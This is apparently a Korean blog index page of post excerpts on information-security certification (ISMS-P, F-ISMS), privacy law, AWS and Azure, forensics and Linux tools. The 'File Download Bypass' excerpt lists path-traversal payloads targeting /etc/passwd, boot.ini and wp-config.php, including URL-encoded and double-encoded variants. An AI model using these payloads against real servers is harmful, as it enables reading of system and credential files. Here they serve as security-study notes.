thmoothies의 등록된 링크

 thmoothies로 등록된 티스토리 포스트 수는 55건입니다.

F-ISMS 인증기준 상세 - 3. 개인정보 처리 단계별 요구사항 [내부링크]

3.1 개인정보 수집 시 보호조치 3.1.1 개인정보 수집 제한 인증 기준 개인정보는 서비스 제공을 위하여 필요한 최소한의 정보를 적법하고 정당하게 수집하여야 하며, 필수정보 이외의 개인정보를 수집하는 경우에는 선택항목으로 구분하여 해당 정보를 제공하지 않는다는 이유로 서비스 제공을 거부하지 않아야 한다. 주요 확인사항, 관련 법규 개인(신용)정보를 수집하는 경우 서비스 제공 또는 법령에 근거한 처리 등을 위하여 필요한 범위 내에서 최소한의 정보만을 수집하고 있는가? - 개인정보 보호법 제3조(개인정보 보호 원칙) 제1항, 제2항, 제16조(개인정보의 수집제한) 제1항 - 신용정보법 제15조(수집 및 처리의 원칙) 제1항 수집 목적에 필요한 최소한의 정보 외의 개인(신용)정보를 수집하는 경우 (신용)정보..

F-ISMS 인증기준 상세 - 1. 관리체계 수립 및 운영 [내부링크]

1.1 관리체계 기반 마련 1.1.1 경영진의 참여 인증 기준 최고경영자는 정보보호 및 개인정보보호 관리체계의 수립과 운영활동 전반에 경영진의 참여가 이루어질 수 있도록 보고 및 의사결정 체계를 수립하여 운영하여야 한다. 주요 확인사항 정보보호 및 개인정보보호 관리체계의 수립 및 운영활동 전반에 경영진의 참여가 이루어질 수 있도록 보고 및 의사결정 등의 책임과 역할을 문서화하고 있는가? 경영진이 정보보호 및 개인정보보호 활동에 관한 의사결정에 적극적으로 참여할 수 있는 보고, 검토 및 승인 절차를 수립·이행하고 있는가? 관련 법규 - 전자금융거래법 제21조(안전성의 확보의무) 제4항 - 전자금융거래법 시행령 제11조의2(정보기술부문 계획수립의 대상 금융회사 등) 제2항제5호 - 전자금융감독규정 제8조(인..

F-ISMS - 금융권에 적합한 ISMS-P 인증 점검 항목 (2022.08) [내부링크]

: 「정보통신망 이용촉진 및 정보보호 등에 관한 법률」 제47조(정보보호 관리체계 인증) 및 「개인정보 보호법」 제32조의22(개인정보 보호 인증), 「정보보호 및 개인정보보호 관리체계 인증 등에 관한 고시」 (과학기술정보통신부고시 제2021-27호, 개인정보보호위원회 고시 제2020-13호)에서 규정하고 있는 사항을 금융업권에 적합하게 설명함을 목적으로 합니다. 2019년 11월에 금융권에 적합한 ISMS-P 인증기준 점검항목을 개발했으며 2022년 08월에 변경한 이력을 가지고 있습니다. 수시로 개정될 수 있으며 해당 시점에서 최신 버전을 확인하여 적용하여야 하며, 전자금융거래법, 신용정보법 적용 대상이 되는 금융회사 및 신용정보회사, 전자금융업자 등을 적용 대상으로 합니다. F-ISMS 항목 1. ..

ISMS-P 인증기준 상세 - 3. 개인정보 처리 단계별 요구사항 [내부링크]

3.1 개인정보 수집 시 보호조치 3.1.1 개인정보 수집 제한 인증 기준 개인정보는 서비스 제공을 위하여 필요한 최소한의 정보를 적법하고 정당하게 수집하여야 하며, 필수정보 이외의 개인정보를 수집하는 경우에는 선택항목으로 구분하여 해당 정보를 제공하지 않는다는 이유로 서비스 제공을 거부하지 않아야 한다. 주요 확인사항 최고경영자는 정보보호 및 개인정보보호 처리에 관한 업무를 총괄하여 책임질 최고 책임자를 공식적으로 지정하고 있는가? 정보보호 최고책임자 및 개인정보 보호책임자는 예산, 인력 등 자원을 할당할 수 있는 임원급으로 지정하고 있으며, 관련 법령에 따른 자격요건을 충족하고 있는가?개인정보를 수집하는 경우 서비스 제공 또는 법령에 근거한 처리 등을 위하여 필요한 범위 내에서 최소한의 정보만을 수집..

ISMS-P 인증기준 상세 - 2. 보호대책 요구사항 Part.2 (2.7 ~ 2.12) [내부링크]

2.7 암호화 적용 2.7.1 암호정책 적용 인증 기준 개인정보 및 주요정보 보호를 위하여 법적 요구사항을 반영한 암호화 대상, 암호 강도, 암호 사용 정책을 수립하고 개인정보 및 주요정보의 저장·전송·전달 시 암호화를 적용하여야 한다. 주요 확인사항 개인정보 및 주요정보의 보호를 위하여 법적 요구사항을 반영한 암호화 대상, 암호 강도, 암호사용 등이 포함된 암호정책을 수립하고 있는가? 암호정책에 따라 개인정보 및 중요 정보의 저장, 전송, 전달 시 암호화를 수행하고 있는가? 관련 법규 개인정보 보호법 제24조의2(주민등록번호 처리의 제한), 제29조(안전조치의무) 개인정보의 안전성 확보조치 기준 제7조(개인정보의 암호화) 개인정보의 기술적·관리적 보호조치 기준 제6조(개인정보의 암호화) 2.7.2 암호..

ISMS-P 인증기준 상세 - 2. 보호대책 요구사항 Part.1 (2.1 ~ 2.6) [내부링크]

2.1 정책, 조직, 자산 관리 2.1.1 정책의 유지관리 인증 기준 정보보호 및 개인정보보호 관련 정책과 시행문서는 법령 및 규제, 상위 조직 및 관련 기관 정책과의 연계성, 조직의 대내외 환경변화 등에 따라 주기적으로 검토하여 필요한 경우 제·개정하고 그 내역을 이력관리하여야 한다. 주요 확인사항 정보보호 및 개인정보보호 관련 정책 및 시행문서에 대한 정기적인 타당성 검토 절차를 수립·이행하고 있는가? 조직의 대내외 환경에 중대한 변화 발생 시 정보보호 및 개인정보보호 관련 정책 및 시행문서에 미치는 영향을 검토하고 필요시 제·개정하고 있는가? 정보보호 및 개인정보보호 관련 정책 및 시행문서의 제·개정 시 이해 관계자의 검토를 받고 있는가? 정보보호 및 개인정보보호 관련 정책 및 시행문서의 제·개정 ..

ISMS-P 인증기준 상세 - 1. 관리체계 수립 및 운영 [내부링크]

1.1 관리체계 기반 마련 1.1.1 경영진의 참여 인증 기준 최고경영자는 정보보호 및 개인정보보호 관리체계의 수립과 운영활동 전반에 경영진의 참여가 이루어질 수 있도록 보고 및 의사결정 체계를 수립하여 운영하여야 한다. 주요 확인사항 정보보호 및 개인정보보호 관리체계의 수립 및 운영활동 전반에 경영진의 참여가 이루어질 수 있도록 보고 및 의사결정 등의 책임과 역할을 문서화하고 있는가? 경영진이 정보보호 및 개인정보보호 활동에 관한 의사결정에 적극적으로 참여할 수 있는 보고, 검토 및 승인 절차를 수립·이행하고 있는가? 1.1.2 최고책임자의 지정 인증 기준 최고경영자는 정보보호 업무를 총괄하는 정보보호 최고책임자와 개인정보보호 업무를 총괄하는 개인정보보호 책임자를 예산·인력 등 자원을 할당할 수 있는 ..

ISMS-P - 정보보호 및 개인정보보호 관리체계 인증 [내부링크]

: 정보보호 및 개인정보보호를 위한 일련의 조치와 활동이 인증기준에 적합함을 인터넷진흥원 또는 인증기관이 증명하는 제도 ISMS-P의 법적 근거 - 정보통신망 이용촉진 및 정보보호에 관한 법률 제47조 - 정보통신망 이용촉진 및 정보보호에 관한 법률 시행령 제47조~제54조 - 정보통신망 이용촉진 및 정보보호에 관한 법률 시행규칙 제3조 - 개인정보보호법 제32조의2 - 개인정보보호법 시행령 제34조의2~제34조의8 - 정보보호 및 개인정보보호 관리체계 인증 등에 관한 고시 인증대상 - 자율 신청자 : 의무대상자 기준에 해당하지 않으나 자발적으로 정보보호 및 개인정보보호 관리체계를 구축·운영하는 기업·기관은 임의신청자로 분류되며, 임의신청자가 인증 취득을 희망할 경우 자율적으로 신청하여 인증심사를 받을 ..

Linux awk command - 리눅스 awk 명령어 사용법 - Linux 파일 텍스트 데이터 검사, 조작, 출력 [내부링크]

1. awk 명령어. 대부분의 리눅스 명령들이, 그 명령의 이름만으로 대략적인 기능이 예상되는 것과 다르게, awk 명령은 이름에 그 기능을 의미하는 단어나 약어가 포함되어 있지 않습니다. awk는 최초에 awk 기능을 디자인한 사람들의 이니셜을 조합하여 만든 이름이기 때문입니다. Aho + Weinberger + Kernighan. (A:Alfred V. Aho, W:Peter J. Weinberger, K:Brian W. Kernighan) awk는 파일로부터 레코드(record)를 선택하고, 선택된 레코드에 포함된 값을 조작하거나 데이터화하는 것을 목적으로 사용하는 프로그램입니다. 즉, awk 명령의 입력으로 지정된 파일로부터 데이터를 분류한 다음, 분류된 텍스트 데이터를 바탕으로 패턴 매칭 여부를..

WIPS [내부링크]

Wips (Wireless Intrusion Prevention System) 스마트폰이나 무선 인터넷이 많이 보급되면서, 테더링이라는 기능이 제공하게 되었고, 테더링으로 인한 해킹이나 자료 유출을 방지하기 위해 만들어졌습니다.Wips는 공격 및 자료유출에 대해서 인가되지 않은 무선단말기의 접속을 차단하고 보안에 취약한 AP(무선공유기)를 탐지하는 소프트웨어입니다. 즉, WIPS는 유선 방화벽(Firewall)과 유사하게 외부 공격으로부터 내부 시스템을 보호하기 위해 무선랜 환경에서의 보안 위협을 탐지하고 대응하는 시스템입니다. WIPS는 조직에서 운영되는 AP (무선랜 (Wifi), 테더링)를 지속적으로 모니터링하여허락되지 않은 사용자가 무선장비들의 접근을 자동으로 탐지 및 방지하고, AP 의 안정성을..

File Download Bypass - 파일 다운로드 우회 [내부링크]

1) 파일 다운로드 경로 ../../../../etc/passwd ../../../../etc/hosts ../../../../winnt/win.ini ../../../../boot.ini ../../../../wp-config.php 2) 인코딩 ../../../../etc/passwd %2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64 ../../../../../../../../../etc/hosts 인코딩 %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%68%6f%73%74%73 더블 인코딩 %252e%252e%2f%252e..

Microsoft Azure - Traffic Manager [내부링크]

Traffic Manager Azure Traffic Manager는 DNS 기반 트래픽 부하 분산 장치입니다. 이 서비스를 사용하면 글로벌 Azure 지역에서 공용 연결 애플리케이션에 트래픽을 배포할 수 있습니다. 또한 Traffic Manager는 고가용성과 빠른 응답성을 갖춘 퍼블릭 엔드포인트를 제공합니다. Traffic Manager는 DNS를 사용하여 트래픽 라우팅 메서드에 따라 클라이언트 요청을 적절한 서비스 엔드포인트로 보냅니다. 또한 Traffic Manager는 모든 엔드포인트에 대한 상태 모니터링을 제공합니다. 엔드포인트는 Azure의 내부 또는 외부에서 호스팅되는 인터넷 연결 서비스일 수 있습니다. Traffic Manager는 다양한 애플리케이션 요구와 자동 장애 조치(failove..

Microsoft Azure - 가상 머신 탄력성 구현 (Auto Scaling) [내부링크]

Chapter 10. 가상 머신 탄력성 구현 (Auto Scaling) p.359 - 가상 머신 확장 집합 (VMSS : Virtual Machine Scale Set) - 100개 단위로 하나의 배치 그룹을 사용

Microsoft Azure - Ubuntu Load Balancer [내부링크]

위와 같이 002번 우분투 서버도 똑같이 해줍니다. * NAT (Network Address Translation) : 클라이언트가 사설 IP 구간에 있음 - 사설 IP 구간에 있는 컴퓨터가 공유기를 거쳐서 나갈 때, 출발지에 있는 사설 IP를 공인 IP로 바꿔줍니다. - 목적지에 갔다가 돌아올 때는 공유기를 거쳐서 들어올 때, 목적지에 있는 공인 IP를 사설 IP로 바꿔줍니다. * 인바운드 NAT : 서버가 사설 IP 구간에 있음 (Cloud) - 인터넷으로 들어오면 공인 IP를 사용하기 때문에, AGW를 거쳐서 들어올 때 목적지를 사설 IP로 바꿔줍니다. > 사설 IP 서버에 도착 - 사설 IP 서버에서 인터넷으로 내보낼 때는 AGW에서 다시 공인 IP로 변경해서 외부로 내보냅니다. * 프로브 (Pr..

Microsoft Azure - Application Gateway [내부링크]

* Azure 스토리지 - 컨테이너 스토리지 : aws의 S3 - 파일 스토리지 : aws의 EFS - 테이블 스토리지 : aws의 DynamoDB - 큐 스토리지 : aws의 SQS * Azure 스토리지의 상태 (aws의 S3 Storage Class) - Hot : aws S3 Standard - Cool : aws S3 Standard-IA - Archive (보관) : aws S3 Clacier > 장기 보관, 자주 인출하지 않지만 의무 보관 기간이 있는 경우 (로그, 의무기록, 감사기록) - 보관 비용 : Hot > Cool > Archive - 인출 비용 : Hot < Cool < Archive * 중복 저장 (p.231) - LRS (Local Replication Storage, 로컬 중..

Microsoft Azure - Storage [내부링크]

* Note VM (가상 머신, Virtual Machine) - Ubuntu : RSA 키 쌍(2048bit)을 만들어서 공개키를 서버에 등록 - Windows Server : RDP로 접속 *Diffie-Hellman 방식 > 기밀성(데이터를 안전하게 전송) - 자신의 공개키를 상대방에게 제공, 자신의 개인키와 상대방의 공개키를 이용해서 세션 키(대칭키)를 생성할 수 있습니다. *사용자에 대한 인증 > (로그인) 인증 - Client에서 개인키로 서명해서 Server에 전송 > Server에서는 Client의 공개키로 복호화 > 올바른 사용자임을 증명 - Client가 자신의 개인키를 가지고 있음(chmod 400 key)을 증명하면? 소유기반 Chapter 7. Azure 스토리지 (p.225) -..

Microsoft Azure - 배포된 Windows 10에 Ubuntu Server 18.04 LTS 설치 [내부링크]

ssh -i .ssh/jarvisbekey [email protected] dmesg | grep SCSI Ubuntu Terminal에서 dmesg를 사용해서 SCI Disc를 확인합니다. sda는 OS 디스크 sdb는 임시 디스크 sdc는 데이터 디스크 새 디스크를 연결했기 때문에 디스크를 파티션 해야 합니다. 2TiB 이상이면 GPT를, 미만이라면 MBR 또는 GPT 파티션을 사용할 수 있습니다. 파티션 도구로는 최신 버전의 fdisk나 parted를 사용합니다. fdisk는 대화형으로 실행하므로 자동화에 적합하지 않으며, parted는 스크립팅할 수 있어 자동화에 적합합니다. 여기서는 parted를 사용합니다. 새 데이터 디스크인 /dev/sdc를 파티셔닝 하기 위해 다음 명령을 실행합니..

Microsoft Azure - Virtual Machine Server -RDP를 이용한 Windosw Server [내부링크]

Note Azure의 계정 1. Azure 계정 : Azure에 가입할 때 생성 (카드 등록) p.134 2. 사용자 계정 - Cloud ID : Azure AD에 존재하는 계정 p.135 첫 번째 유형 - Guest : Azure 외부의 다른 클라우드 공급자에게서 제공한 경우 ex) Google, Facebook, Microsoft 등 - Hybrid ID : Active Directory 사용자가 Azure에 등록한 경우 * RBAC : 역할 기반 접근 통제 p.153 - 소유자 (Owner) : Azure 리소스를 완전히 관리할 수 있음 - 기여자 (Contributor) : Azure 리소스를 관리할 수 있지만, 인사권이 없음 - 독자 (Reader) : Azure 리소스의 정보만 확인

Microsoft Azure - Azure AD, 구독, 테넌트, 계정 생성, 역할 기반 액세스 제어(RBAC), 가상 네트워크, 가상 머신 생성 - Azure AD, Subscribe, Tenant, Create Account, RBAC, Virtual Network, Machine [내부링크]

Azure AD와 구독 p.122 ~ 기본 디렉터리 확인 Azure AD 테넌트 만들기 사용자와 그룹 작업을 수행한 구성원이 이 그룹의 소유자이기 때문에 이런 작업이 가능했습니다. 역할 기반 액세스 제어 (RBAC : Role Based Access Control) : 주어진 역할을 수행하기 위해 필요한 접근 권한을 부여하는 것 ex) Backup Operator (역할) - 시스템 읽기 (O), 데이터 읽기 (X) - 리소스 그룹, 리소스 단위로 액세스 제어 (접근 통제)를 할 수 있습니다. - 리소스 별 관리 역할을 각각 다른 사용자에게 할당할 수 있습니다. (aws에서 정책 권한을 Role에 부여하고 Group에 할당) Reference 1) 강제적 접근 통제 (MAC, Mandatory Acces..

Microsoft Azure - 기초 사용 [내부링크]

회원가입 대시보드 생성 다른 구독으로 리소스 이동

aws - Redshift, 보안 가이드 감사 [내부링크]

회계, 정보 시스템 감사 - 적정 : 잘 되어 있음 - 한정 : 조건부로 하고 있음 - 부적정 : 안되고 있음 - 의견 거절 : 감사인의 의견을 제시하지 않겠음 인증 - 정상 - 미흡 : 약간 부족함 - 결함 : 안되어 있음 : 일정 수준의 미흡, 결함 시 인증을 해주지 않음 위험 (Risk) - 자산 (Asset) : 가치를 지닌 모든 것 ex) 유형 자산(부동산, 금품), 무형 자산(Brand, 지적 재산, 평판, 기업 이미지, 고객 신뢰도 등) - 위협 (Threat) : 외부, 내부로부터 발생하는 자산에 대해 침해하는 것 ex) 재해 (호우, 화재, 태풍 등), 사고, 악성코드, 악의적 의도, 사람 등 - 위험 (Risk) : 자산이 위협으로부터 손실을 일으킬 가능성 ex) 높다/낮다, 있다/없다..

aws - DevOps, Lambda [내부링크]

*PaaS : 개발자를 위해서 코드만 업로드하면 인프라를 aws에서 프로비저닝 해주는 서비스 > Application을 만듦 ex) Beanstalk, Lambda, Code Deploy 등 * DevOps : 운영자를 위해서 인프라를 코드(주문서)로 작성하는 것 > 인프라 (EC2, RDS 등)를 만드는 것 ex) Cloud Formation, Terraform (3rd Party), Code Pipline, OpsWorks (Chef, Puppet) DevOps lambda https://gist.github.com/deopard/3767b4f96bc9760c5dc7ce45d30647bb codepipeline-notification-lambda.js GitHub Gist: instantly shar..

aws - Lambda, Elastic Beanstalk, Terraform [내부링크]

Lambda - aws에서 간단한 함수를 실행하기 위한 서비스 - 짧은 코드를 수없이 많이 반복하는 경우에 적합 - 고객 : 개발자 - 동작 : 행위 (Trigger : 방아쇠)가 발생되면 사전에 정의된 방식 (함수)으로 작업을 합니다. - 사례 사진을 업로드하면 크기를 줄이는 역할 사진을 업로드하면 썸네일 만들기 ex) 사진 썸네일, 동영상 썸네일 등 - 5분 이내로 실행 완료되는 짧은 코드만 가능 aws Elastic Beanstalk : EC2와 다르게 PaaS로서 서버 구성, Auto Scaling, 배포 자동화, 모니터링 등 서버 운영에 필요한 대부분의 작업을 최대한 자동화해서 제공하는 서비스입니다. - 개발자가 코드를 작성해서 zip 파일로 업로드하면 aws리소스에서 프로비전 업무를 대신 처리..

aws - Cloud Watch [내부링크]

서버 모니터링은 "안정적인 서비스 운영"이라는 목적이 있습니다. 큰 장애가 발생하기 이전에 미리 징후를 찾아내서 최대한 예방해야하고 장애가 발생하더라도 바로 원인을 파악하고 고쳐야합니다. 감으로 추측하는 것이 아니라 정확한 원인을 찾기 위해 제대로 된 모니터링 시스템이 갖춰져 있어야 합니다. 모니터링 영역 : 성능, 용량, 장애, 보안, 비용 - 인프라에 대한 모니터링 ex) 장애 발생 - 클라이언트 요청에 대한 모니터링 ex) 공격 시도 등 - 애플리케이션에 대한 모니터링 ex) 성능 저하 - 데이터에 대한 모니터링 ex) 데이터 저장의 상태 및 속도 aws Cloud Watch : aws에서 제공하는 aws 내 자원과 애플리케이션에 대한 모니터링 및 관리 서비스, 수집된 값들을 이용해 자동화된 작업을..

aws - DevOps, Cloud Formation [내부링크]

DevOps - Development(개발)과 Operation(운영)을 한 사람이 한다는 의미 - 개발자가 운영하는 것이 쉬움 > 운영은 대부분 aws에서 해주기 때문 - 개발자가 운영을 배워서 수행하도록 합니다. - 스크립트가 보편화 (Python, Ruby, Javascript, JSON, Node.js 등) aws CloudFormation - DevOps 도구, aws 인프라를 코드로 관리 (실수 방지, 시간 단축, 버전 관리 등의 장점) - YAML, JSON으로 작성해서 자동으로 aws 리소스를 생성, 관리 - aws 리소스 비용만 부담 실습 이 글을 처음으로 실습을 하고 계신다면 키 파일의 권한을 수정해주셔야 합니다. 참고 : https://thmoothies.tistory.com/32 a..

aws - ECS, Docker, DynamoDB, NoSQL, System Architecture Design [내부링크]

ECS (Elastic Container Service) - 도커, 쿠버네티스 관련 서비스 - 가상머신(EC2)을 제공하는 것이 아니라 컨테이너만 제공함 - EC2보다 가격이 저렴한 편 - 웹서비스 등 한 가지 서비스만 하는 경우에 적합 구성요소 - 클러스터 : 도커 컨테이너를 실행할 수 있는 가상의 공간, 논리적 단위 - 클러스터에 연결된 EC2 인스턴스를 컨테이너 인스턴스라고 합니다. - 작업 : 컨테이너를 실행하는 단위 - 작업 정의 : 도커 컨테이너를 실행하기 위해 정의한 도면 - 서비스 : 작업을 하나의 오케스트레이션 단위로 묶는 것 - 컨테이너 인스턴스 클러스터 생성을 누르지 않고 시작하기를 누르는 이유 - ECS가 실행되려면 VPC, Subnet, Security Group 등을 모두 설치해..

aws - IAM [내부링크]

aws에서도 Root 계정은 Multi-Factor 인증을 하도록 요구하고 있습니다. - Root 계정은 E-Mail 사용 (IP/PW : 지식기반) > 로그인 관련 메일, 메일로 본인 확인 절차 사용 (소유기반) - 추가 인증으로 Google OTP (One Time Password) 사용 (소유기반) * aws의 일반 사용자 계정 - 최소 권한 (Least Privileges)을 부여해야 합니다. - 과도한 권한을 부여하면 남용해서 부정, 불법 행위의 가능성이 높아집니다. - Root 계정을 E-Mail로 등록하면 바꿀 수가 없습니다. - 개인 계정으로 Root 계정을 생성하면 안됩니다.(퇴사시 방법 없음) 회사 메일로 aws 전용 계정을 생성해서 관리 (부득이한 상황에는 인수인계) - Root ..

aws - Auto Scaling, Load Balancer - 오토 스케일링, 로드 밸런서 [내부링크]

Auto Scailing AWS Auto Scaling은 애플리케이션을 모니터링하고 용량을 자동으로 조정하여, 최대한 저렴한 비용으로 안정적이고 예측 가능한 성능을 유지합니다. AWS Auto Scaling을 사용하면 몇 분 만에 손쉽게 여러 서비스 전체에서 여러 리소스에 대해 애플리케이션 규모 조정을 설정할 수 있습니다. 이 서비스는 간단하면서도 강력한 사용자 인터페이스를 제공하므로 이를 사용하여 Amazon EC2 인스턴스와 스팟 플릿, Amazon ECS 작업, Amazon DynamoDB 테이블 및 인덱스, Amazon Aurora 복제본 등 리소스에 대한 규모 조정 계획을 수립할 수 있습니다. AWS Auto Scaling을 사용하면 성능과 비용을 최적화하거나 둘 사이의 적절한 균형을 유지하기 ..

aws - CLI를 이용한 EC2(Ubuntu) 생성 [내부링크]

CLI 설치 sudo -i wget https;//awscli.amazonaws.com/awscli-exe-linux-x86_64.zip apt update apt install unzip unzip aws #-Tab키를 누르면 unzip할 파일명 자동완성 cd aws ./install aws --version #설치 버전 확인 aws 액세스 키 생성 aws configure AWS Access Key ID #.csv파일에 있는 내용 입력 AWS Secret Access Key #.csv파일에 있는 내용 입력 Default region name #현재 사용중인 VPC Region 입력 ex) 캘리포니아 us-west-1 Default output format #따로 입력한 내용은 없습니다. Region ..

aws - Amazon Luinux, Windows, RDS [내부링크]

Amazon Linux sudo yum update -y #-y 앞으로의 질문에 대한 대답을 y로 고정 sudo yum install httpd #apache2 webserver 설치 sudo amazon-linux-extras install -y lamp-mariadb10.2-php7.2 php7.2 #lamp : Linux Apache2 MySQL PHP(웹 서버 세트) sudo yum install -y mariadb-server sudo systemctl start httpd #Amazon Linux는 시작 명령을 사용해야 Apache가 시작됩니다. sudo sysyemctl start enable httpd #부팅할 때마다 시작하도록 등록합니다. sudo usemod -a -G apache ec..

aws - EC2, VPC, 2-Tier, 3-Tier Architecture [내부링크]

Note 클라우드의 핵심 - Self-service : 고객이 직접 설정하고, CSP에서 지원을 하거나 담당자를 할당하지 않음 > 교육 비용 발생(고용) : 교육시장 존재 cf. 자격증 : AWS, GCP, MS에서 발행하는 클라우드 자격증을 취득하려는 수요가 계속 증가할 것 - 종량제 : 사용한 만큼 지불 (합리적) - Multi-Tenancy : 복수 점유 (여러 클라우드 고객들이 클라우드 기반 인프라를 공유하는 것) - 규모의 경제 : 더 큰 업체가 더 저렴한 비용을 제공한다. (대량 구입하면 할인) EC2 : Elastic Compute Cloud - Elastic (탄력적) : 외부로부터 영향을 받더라도 항상 그 상태를 유지하는 것 > 고정적인 의미 - 다양한 운영체제를 가상머신에 설치해서 빌려..

ISMS - 정보 보호 관리 체계 인증 [내부링크]

InfoSec Triangle (정보보호의 3요소) Confidentiality(기밀성) : 인가되지 않은 방식으로 정보를 획득할 수 없도록 하는 것 Integrity(무결성) : 데이터나 리소스를 인증되지 않은 변경으로부터 보호하는 것(승인된 주체 및 방법에 의해서만 변경 가능) Availability(가용성) : 인가를 받은 사용자가 정보나 서비스를 요구할 경우 정보 시스템에 대한 사용 가능 여부에 대한 요구사항 (승인된 주체에 의해 접근될 때 방해받지 말아야 할 성질) 정보보호의 주요 개념 - 자산 (Asset): 조직 내의 가치를 갖고 있는 모든 것, 조직이 보호해야 할 대상으로서 정보, 하드웨어, 소프트웨어, 시설 등을 말하며 관련 인력, 기업 이미지 등의 무형자산 포함 (예: 물리적 자산, 정..

개인정보 보호법 [내부링크]

개인정보 보호법 : 개인정보 보호에 관해 규정한 일반법으로, 개인정보의 유출, 오용, 남용으로부터 사생활의 비밀 등을 보호함으로써 국민의 권리와 이익을 증진하고 개인과 존엄의 가치를 구현하기 위하여 개인정보의 처리에 관한 사항을 규정하고 있습니다. 국가법령정보 - 개인정보 보호법 https://www.law.go.kr/%EB%B2%95%EB%A0%B9/%EA%B0%9C%EC%9D%B8%EC%A0%95%EB%B3%B4%20%EB%B3%B4%ED%98%B8%EB%B2%95 개인정보 보호법 www.law.go.kr 구성 : 조(제1조) > 항(①) > 호(1) > 목(가) 주로 참조되는 3장 15조부터 시작 3장 제1절: 개인 수집의 수집 및 이용 제15조: 당사자의 동의와 특별법에 의해 수집될 수 있다. 1..

Cloud, aws - S3 [내부링크]

Cloud vs Hosting Cloud 투자금액이 천문학적 (투자 초기 상당한 투자 필요, 궤도에 오르면 큰 이익 발생) 박리다매의 특징 (마진율이 낮으며, 판매량이 많기 때문에 큰 이익 발생) 데이터 센터를 많이 만들어야 하는 문제 (투자금이 많이 들고, 큰 전기 사용 비용(정부 지원 필수), 고용이 많이 발생하지는 않음 CISCO에서 네트워크 구조도를 그릴 때, 인터넷을 그리기 어려워서 인터넷을 구름으로 그림 구름 속에서는 아무것도 보이지 않음 > 내부 구조를 알 필요가 없음 > 그냥 사용하면 됨(클라우드 컴퓨팅 서비스를 이용하면 됨) Cloud Service Provider(CSP : AWS, GCP, Azure 등)가 알아서 관리를 해주겠다는 의미이며, 고객은 굳이 알 필요가 없음. 일종의 아웃..

Digital Forensic 2 - 디지털 포렌식 2 [내부링크]

File Analysis (파일 분석 기법) Microsoft File Image File - Autopsy를 사용 보면 Latitude와 Longtitude가 있는데 이것은 위도와 경도를 나타냅니다. 검색을 해서 사진을 찍은 곳의 위치를 알 수 있습니다. 사진이 촬영된 장소와 날짜, 시간 등을 분석하고 얻고자 하는 정보를 유추할 수 있습니다. 그리고 이렇게 이런 정보들이 유출될 수도 있으니 사진을 촬영하고 전송할 때 좀 더 유의를 하는 것이 좋아 보입니다. File Signature Analysis (파일 특징 분석) File Signature Analysis는 Autopsy를 사용하겠습니다. GCK'S FILE SIGNATURES TABLE : https://www.garykessler.net/lib..

Digital Forensic - 디지털 포렌식 [내부링크]

여러 Tool을 이용한 Digital Forensic 소프트웨어 쓰기 방지 장치 위의 경로에 들어간 후 StorageDevicePolicies라는 새로운 키를 만들어줍니다. 들어가서 DWARD (32비트) 값을 새로 생성해줍니다. 이름은 WriteProtect 그리고 더블 클릭하면 그리고 USB 장치를 연결하면 새 폴더를 만들어보면 새로운 폴터가 만들어지지 않는 것을 알 수 있습니다. 사진은 폴더가 만들어지지 않는 것이라 따로 준비하지 않았습니다. 그리고 혹시 그냥 폴더가 만들어진다면 키의 이름과 D WARD 값의 이름을 다시 한번 확인해주시기 바랍니다. Forensic Image 만들기 FTK Imager 사용* 위의 소프트웨어 쓰기 방지 장치가 실행된 상태입니다. *설치 후 실행시켜줍니다. 캡쳐를 못..

Forensic - 포렌식 [내부링크]

Forensic (포렌식) - 디지털 증거물을 분석하여 수사에 활용하고, 디지털 증거물의 증거 능력을 향상시키기 위한 과학 수사 기법을 총칭하는 용어 - 과학적인 증거를 수집해서 법정에 증거로 제출하는 일련의 과정 절차 중요, 반박할 수 없도록 증거 확보, 원본이 보존되어야 합니다. HDD Imaging 원본은 보존되어야 하므로 복제본을 만들어야 합니다. 이미지 복제는 비트열 그대로를 복제하는 것 > 지워진 파일에 대한 복원, 복구 가능 복사는 파일과 폴더 단위로 복제하는 것 > 있는 파일만 볼 수 있음 Windows System에 대한 정보 수집 systeminfo 핫픽스(Hotpix) : 보안 패치 : KBNNNNNN의 형태 - 최근에 나온 취약점에 대한 패치 번호가 없으면 취약점이 존재하는 것 현재..

Ubuntu - Argus-clients, Shell Script - 우분투 Argus-client, 쉘 스크립트 [내부링크]

Argus-clients 설치 IDS의 대표적인 오픈 소스 : Snort, Suricata, Argus IDS Argus IDS의 본체는 네트워크 중간에 배치, Argus의 사용자 콘솔은 사무실에 설치 실습해보겠습니다. wget http://qosient.com/argus/src/argus-clients-3.0.8.tar.gz sudo apt install flex sudo apt install bison cd Downloads sudo -i#root 권한으로 전환 cd /home/h/Downloads#여기서 두 번째의 h는 계정입니다. 보시는 분은 계정 이름을 넣어주시면 됩니다. tar zxvf argus-clients-3.0.8.tar.gz cd argus-clients-3.0.8 ./configur..

PCRE, awk, Shell Script, Log Check - 정규 표현식, awk, 쉘 스크립트, 로그 확인 [내부링크]

Note PCRE (정규 표현식, Peal Compatible Regular Expression) 문자를 그대로 기술하지 않으면서 문자들의 순열이나 패턴을 기술 한 정규 표현식이 다른 스타일의 정규 표현 시기에 다르게 동작할 수 있음 파일 검색 시 사용되는 와일드카드 문자와 정규 표현식에서의 문자는 다른 의미 : 패턴을 저장, 추출, 검색 등을 할 때 사용 ex) IP Address, 전화번호, 주민등록번호, E-Mail 등 DLP (Data Loss Prevention) : 개인정보가 외부로 유출되지 않도록 하는 SW, 자체 PC를 검색하기도 함(패턴으로 검색) CERT (침해 사고 대응팀) : 사내 존재, 보안 업체 전문 인력으로 구성 ex) Ahnlab A-Team 특수문자 호칭 ^ : 캐럿 (Ca..

Ubuntu - Web Server (GNU Board), Web Firewall (Modsecurity) [내부링크]

Ubuntu에 Web Server(GNU Board) , Web Firewall(Modsecurity) 설치 Web Server (GNU Board) 설치 sudo apt update sudo apt install vim sudo apt install apache2 sudo apt install mysql-server sudo apt install php php-mysql php-common php-gd php-fpm php-xml php-json php-curl git sudo systemctl start mysql sudo mysql -u roop -p#MySQL 시작 create database gnuboard; create user board@localhost identified by 'cyver..

Linux E325 : ATTENTION 해결하기 [내부링크]

